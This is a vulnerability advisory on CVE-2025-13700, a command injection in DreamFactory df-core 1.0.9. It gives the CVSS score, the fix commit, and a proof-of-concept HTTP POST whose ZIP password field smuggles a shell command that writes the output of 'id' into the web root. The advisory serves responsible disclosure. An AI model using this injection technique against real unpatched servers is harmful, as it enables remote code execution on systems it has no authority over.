# PTT-2025-002 – DreamFactory – Remote Code Execution via Command Injection in ZIP Password Field

## CVE-ID: CVE-2025-13700

## Other Identifiers:

- ZDI-25-1024
- ZDI-CAN-26589

## Credits:

Cătălin Ioviță, David Borş, Alexandru Postolache of Pentest-Tools.com

## Environment:

- df-core version 1.0.9

## CVSSv3: 7.2 High - AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

## Description:

An authenticated user can achieve Remote Code Execution (RCE) on the target system by exploiting a vulnerability in the "Package Export" feature. This is possible because DreamFactory doesn't properly sanitize the password field and directly parses it as a system command when running the ZIP utility. As a result, an attacker can inject arbitrary system commands into this field, which the system then executes as the "www-data" user.

## Requirements:

To perform this exploit, a user needs to have a role that allows “POST” requests on the “/api/v2/system/package” endpoint.

# Fix:

The DreamFactory developers fixed this vulnerability in df-core versions ≥ 1.0.10 via the following commit:

https://github.com/dreamfactorysoftware/df-core/commit/404a1783927f95999c71a0ff8f14130d385087fb

# Proof of Concept:

We can use the following HTTP "POST" request to inject arbitrary system commands when creating and exporting encrypted zip files containing DreamFactory specific files and configurations.

### **Request**:

```
POST /api/v2/system/package HTTP/1.1
Host: 208.85.23.18
Content-Type: application/json
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***459Q
Content-Length: 167

{
  "version": "0.1",
  "df_version": "7.1.0",
  "secured": true,
  "password": "password1234; id > /opt/dreamfactory/public/cmd.out; #",
  "description": "",
  "service": {
    "system": {}
  }
}
```

**Note**: Although the response returns a HTTP “500 Internal Server Error”, the target successfully executes the command.

After making the request, we can observe that DreamFactory successfully creates the file “cmd.out” in the “/opt/dreamfactory/public” directory (the directory that represents the root web path of the DreamFactory application), which makes the output easily retrievable.

With the malicious system commands executed, we can proceed to retrieve the output by accessing the following link:

```
http://208.85.23.18/cmd.out
```

**Note:** In this case, our target sits at IP “208.85.23.18”.

**Note 2:** In this context, we execute the Linux “id” command.

Browser view:




*From vulnerability scans to proof, **Pentest-Tools.com** gives 2,000+ security teams in 119 countries the speed, accuracy, and coverage to confidently validate and mitigate risks across their infrastructure (network, cloud, web apps, APIs).*